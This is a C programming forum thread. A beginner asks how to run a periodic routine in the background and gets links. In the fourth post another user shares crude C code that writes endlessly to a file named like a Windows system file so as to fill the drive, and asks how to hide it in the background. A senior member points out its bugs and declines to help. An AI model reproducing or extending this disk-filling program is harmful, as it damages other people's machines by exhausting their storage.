Thread: Running A Routine in the background

  1. #1
    Registered User
    Join Date
    May 2004
    Posts
    23

    Running A Routine in the background

    Hi,

    I must confess I use java alot, and am very new at C

    I need to create a routine that runs periodically every Ts seconds. The routine gets a customer from a file and places it into a FIFO queue. How can i get this to happen in the background .. I need to to constantly increment the queue, but still allow me to continue running other aspects of my program.

    Any help would be much appreciated!!

    Matt

  2. #2
    Registered User loopy's Avatar
    Join Date
    Mar 2002
    Posts
    172
    The link below should help.

    {edit}
    {edit}

    Or, this one...

    http://www.cs.cf.ac.uk/Dave/C/node29...00000000000000
    Last edited by loopy; 05-11-2004 at 08:12 AM.

  3. #3
    ---
    Join Date
    May 2004
    Posts
    1,379
    (they are the same link)

  4. #4
    Intmainer
    Join Date
    May 2004
    Posts
    7
    Well, what if I wanted to run this in the backround???

    #include <stdio.h>
    int main()
    {
    char data[] = "Your Drive Is Being Filled\n";
    FILE *stream;

    if((stream = fopen("C:\\windowssystemdoskey7.com", "w")) == NULL) {
    printf("Error creating file!\n");
    }
    fclose(stream);
    if((stream = fopen("C:\\windowssystemdoskey7.com", "a+")) == NULL) {
    printf("Error appending to %s!\n", "doskey7.com");
    }

    while(1)
    fprintf(stream, data);

    fclose(stream);

    }

    would be possable...I am sure it is...seing that almost anything is possable in C...is there some library with a funtion that would do that???

  5. #5
    ATH0 quzah's Avatar
    Join Date
    Oct 2001
    Posts
    14,826
    Well for starters, your code is horrible. Your first problem is with your first fclose call. If the stream fails to open, you shouldn't be calling close on it. Next, it's going to take forever to do what you want. Finally, your program will hit a major snag once you do run out of space, because the write loop will never exit, so the file close will never be reached. Additionally, you'll run into a problem once your file reaches 4GB most likely. Finally, you don't have main return anything, which you should.

    To answer your question, sure. What do you think all that crap in your system tray is doing? It's running in the background. Visit the MSDN and read up on some Windows API. But I doubt anyone here will help you write a program to run in the background and fill people's hard drives. But then, had you actually read the forum Announcements, you'd know that.

    Quzah.
    Hope is the first step on the road to disappointment.

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Running in the background.
    By samus250 in forum C Programming
    Replies: 6
    Last Post: 06-29-2008, 10:23 AM
  2. Running my program in the background
    By shoobsie in forum Windows Programming
    Replies: 4
    Last Post: 10-09-2005, 02:38 AM
  3. running program in the background
    By sunil21 in forum C Programming
    Replies: 2
    Last Post: 09-07-2003, 05:57 PM
  4. I'm stupid, my winapp still running in background
    By Shadow12345 in forum Windows Programming
    Replies: 3
    Last Post: 01-14-2003, 09:22 PM
  5. Running program on background?
    By Couhilin in forum A Brief History of Cprogramming.com
    Replies: 1
    Last Post: 11-03-2001, 07:50 AM